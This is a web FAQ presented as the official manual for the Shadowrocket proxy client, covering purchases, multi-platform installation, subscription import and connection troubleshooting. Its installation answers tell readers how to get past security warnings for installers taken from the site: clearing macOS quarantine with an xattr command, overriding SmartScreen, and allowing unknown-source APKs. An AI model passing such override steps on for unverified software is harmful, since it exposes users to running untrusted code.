Shadowrocket Official Manual

Shadowrocket FAQ

Find troubleshooting steps for purchases, installation, subscriptions and connections. Check your device and the error first, then work through the checks one at a time. Back up your data before changing Config or deleting a subscription.

View downloads and installation for all platforms

Genuine app & purchases

Separate app downloads from configuration recovery, then verify the store listing and purchase account.

Can I use Shadowrocket on a computer or Android device?

Yes. Shadowrocket is available for iPhone, iPad, Mac, Windows, Android and Linux. The iPhone and iPad version costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android and Linux versions are free. For Mac, choose the Apple Silicon or Intel version; on other platforms, select the build that matches your system and package format. Go to the download page for your platform: iPhone and iPad users should visit the App Store; installers for other platforms are available from this site at /dl/shadowrocket/. If your system blocks the app on first launch, see the installation section below.

Can I install Shadowrocket on iPad? Where can I check the system requirements?

Yes. iPhone and iPad use the same App Store product listing. Check the App Store page for the system requirements. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android and Linux versions are free. If you’ve already purchased it, sign in with the original account and check your purchases before downloading it to another compatible device. Don’t choose a different app just because its search result looks similar. After installation, you’ll still need to import your own subscription or server details. Restoring configuration between devices is separate from downloading the app.

Do I have to buy Shadowrocket again after changing devices or reinstalling it?

On iPhone or iPad, sign in to the App Store account used for the original purchase. Find Shadowrocket in your purchases or app list, then tap to download it again. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android and Linux versions are free. You can usually restore the app without paying again when using the same purchasing account. If you still see a purchase button, check the account and purchase history before paying again. Redownloading the app won’t restore your server list, so save a configuration backup separately before switching devices. On a computer or Android device, download the installer again from this site.

Why do I still need a subscription or server details after buying the app?

The app reads server settings, connects to servers and applies rules. The service providing server access is separate, so a one-time app purchase doesn’t include a service plan. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android and Linux versions are free. Neither option includes server access. This is the Shadowrocket website and official manual; we don’t provide, sell or recommend servers or subscriptions. The steps below assume you already have your own subscription or server details. Make sure they’re still valid before importing them.

Installation & first launch

Check your operating system, processor and download source first. Only allow a system override for an app you’ve verified.

Which Mac version should I choose: Apple Silicon or Intel?

Open the Apple menu in the top-left corner of your Mac and select “About This Mac.” If you see “Chip” followed by an Apple chip name, choose Mac Apple Silicon. If you see “Processor” and the name includes Intel, choose Mac Intel. Both installers are in the Mac section of the download page. Don’t rely on your computer’s appearance, purchase year or browser to identify the right version. Download the DMG and follow the prompts to move Shadowrocket to Applications. If you see “cannot be verified” on first launch, check where you downloaded the app, then follow the system settings steps in the next answer.

Mac says “cannot be verified” or “is damaged.” How do I fix this?

First, make sure the installer came from this site at /dl/shadowrocket/ and that the app is in Applications. If you see “cannot be verified,” try opening the app once, then go to “System Settings → Privacy & Security.” Find the relevant warning, select “Open Anyway,” and confirm when prompted. If macOS says the app is damaged, verify its source and location, then run xattr -cr /Applications/Shadowrocket.app in Terminal and try opening it again. This command applies only to this app. Don’t use a path for your entire disk or disable system-wide security to run the app.

Windows SmartScreen warns that the app may be risky. How can I proceed?

Make sure the EXE came from this site at /dl/shadowrocket/ and is the Shadowrocket installer. When SmartScreen displays “Windows protected your PC,” select “More info,” then “Run anyway.” Follow the installer prompts to finish. If that option isn’t available or your device is managed by your organization, check Windows Security and your organization’s policies. Don’t repeatedly disable security features. The first time you connect after installation, approve the relevant network permission if Windows prompts you.

The Android APK won’t install, or tapping Download in WeChat does nothing. What should I do?

Open this site’s download page in your system browser and choose the Android version instead of repeatedly tapping the link in WeChat’s built-in browser. If your system blocks the installation after the download, open “Install unknown apps” settings for the browser or file manager you used and allow this source for the installation. You can revoke the permission afterward if you wish. This site provides an arm64 APK. If it’s still reported as incompatible, check your device architecture and system message; don’t change the file extension. When the VPN authorization prompt appears on first connection, verify the app name and approve it. Otherwise, the connection can’t be established.

Which Linux package should I choose: deb, rpm or AppImage?

Choose based on your distribution’s package manager. Debian- and Ubuntu-based systems typically use deb; distributions that use RPM packages should use rpm. Choose AppImage if you need a standalone file. Download all formats from the Linux section of this site’s download page. To install a deb, open a terminal in the download folder and run sudo apt install ./ followed by the actual filename. For an AppImage, run chmod +x followed by the filename to make it executable, then launch it. Use the filename as it appears on your device. If you see a permissions or dependency error, read the terminal message before trying again; don’t repeatedly launch the app with elevated privileges.

See the installation prompt guide and full command instructions →

Subscriptions & config

These steps assume you already have your own subscription or server details. Identify the content type first, then choose the right import method.

Where do I import an existing subscription?

In Home, open the add menu. Go to Add Server, choose Subscribe, enter your complete subscription URL in the URL field, add a name you’ll recognize, then save. The menu may be in a slightly different place in other versions; use the field names shown in your app. Update the subscription after saving, then check that its servers appear in Home and select one to test. A subscription URL is different from a link for a single server. Don’t paste an entire configuration file into the URL field. Subscription URLs may contain access credentials, so don’t post them in public chats or screenshots.

A subscription won’t import, or the list is empty after an update. What should I check first?

Check that the link is complete and doesn’t contain spaces, line breaks, Chinese punctuation or extra text. Make sure it’s a subscription URL for Subscribe, not an account webpage or a single-server link. Then check that your device is online, the subscription is still valid and its response contains content Shadowrocket can read. If your old list is still there, don’t delete it yet. Back it up and note any error message first. An update completing doesn’t guarantee that the returned content is valid. If the list is empty, check what the subscription actually returned before importing it again.

How do I update a subscription? Will it overwrite servers I edited manually?

In Home, find the subscription group or its edit menu and use the update action for that subscription. Afterward, check server names, changes in the number of servers and the currently selected server. Updating a subscription is not the same as updating Config; they manage different content. Subscription servers come from remote content, so manually changed names or settings may be replaced during a later update. Save and back up any custom entries you want to keep. If an update fails, keep the existing working list, note the error and check the link. There’s no need to repeatedly delete and recreate every group.

Should I import using a QR code, the clipboard or Add Server?

If you have a QR code, choose Scan QR Code and grant camera access when prompted. For a server sharing link, copy the complete link and use the app’s clipboard import option, allowing access if the system asks. If you only have individual settings, open Add Server, choose the Type that matches the source details, and enter the address, port, authentication and transport settings. Whichever method you use, review the parsed details before saving, especially the protocol type and port. If a QR code can’t be read, check that it contains supported server details rather than a login or payment page.

Several subscriptions contain duplicate servers. How should I organize and back them up?

Give each subscription a distinct name. Check which subscription each duplicate belongs to, then confirm that the entries are actually duplicates. Matching names don’t mean the address, port and transport settings match; similar latency isn’t a reason to delete an entry. If multiple subscriptions include the same server, a deleted entry may return after an update. Start by deciding which subscriptions to keep. Before deleting anything, export your current configuration and save any subscription details you need. Backup files may contain authentication details, so store them securely. Once the app is restored, update one group at a time and check your selection to avoid making too many changes at once.

See the subscription and server management manual →

Rules & Connection

Separate device networking, server connectivity and rule matching. Keep your original configuration while testing, and change one thing at a time.

How do I choose a Global Routing mode: Config, Proxy or Direct?

Config uses the rules in the active configuration to choose a policy for each request. Proxy sends traffic that would normally be handled by the proxy through the selected server. Direct connects through your device’s network without using the selected server. For rule-based routing, choose Config and check that the expected file is active on the Config page. During troubleshooting, you can briefly switch modes to compare access to the same destination. Keep in mind that Proxy doesn’t necessarily override every system bypass setting, and Direct doesn’t disconnect the VPN. When you’re done testing, restore your preferred mode.

The connection switch won’t turn on, or turns off right away. What should I do?

Check that you’ve selected a server with complete settings, and look for a system prompt to approve the VPN configuration or connection on first use. On iPhone and iPad, check the related configuration under “Settings → General → VPN & Device Management.” On Android, check whether VPN authorization was denied. Then check for another active VPN connection, device management restrictions or an invalid configuration. Don’t start by deleting all system configurations. Disconnect any conflicting VPN, restart the app and note the error it displays. If On Demand is enabled, check whether its conditions are causing the connection to drop immediately.

Shadowrocket says it’s connected, but I can’t access the internet. What should I check, and in what order?

Disconnect and make sure your device can access the internet on its own. On public Wi-Fi, complete any web sign-in first. Then check the selected server and its authentication details, and run Connectivity Test. A successful test confirms only some connection conditions; it doesn’t mean every destination is reachable. Next, review Global Routing, the active Config and the policy matched by your request. Check whether your DNS settings conflict with the current network. Change one thing at a time and retest the same destination. If Direct works but Proxy doesn’t, focus on the server route rather than resetting the device’s entire network setup.

On Demand doesn’t connect automatically, or keeps reconnecting. What should I check?

Make sure On Demand is enabled and the system allows the VPN configuration to connect on demand. Check the Wi-Fi SSID, Cellular, Domain and other conditions individually. The SSID must match the current network name, and multiple conditions can affect one another. Note your current settings, temporarily turn off On Demand and manually connect to the same server. If manual connection works, restore one condition at a time and observe the result. If the connection keeps dropping and reconnecting, check whether your device is switching frequently between Wi-Fi and cellular. Don’t change the server, rules and every trigger condition at once.

The app is in English. What are Home, Config and Settings for?

This manual keeps the app’s interface labels in English so you can match them on screen. Home is where you view and select servers and manage the connection. Add Server adds a server; Subscribe is the subscription type. Config is for managing and selecting configuration files. Settings contains app settings. Global Routing lets you choose the overall routing mode. Don’t reimport a subscription or reinstall the app just because the interface language is different. To change the display language, check the language options your system offers for the app. Available options depend on the installed version and system interface.

The battery drains faster after connecting. How should I interpret Data traffic statistics?

Compare usage over similar periods in your system’s battery settings, and consider video streaming, background sync, network signal strength and frequent reconnects. A VPN processes network traffic, so don’t judge power use by the status bar icon alone. Data can show traffic recorded by the app, but its measurement scope may differ from the system or service provider’s accounting. It isn’t a bill. Stop running repeated speed tests while troubleshooting. Check whether On Demand is triggering often and compare results on a stable network. If the issue continues, record the steps to reproduce it and relevant logs. Before sharing them, hide subscription URLs and authentication details.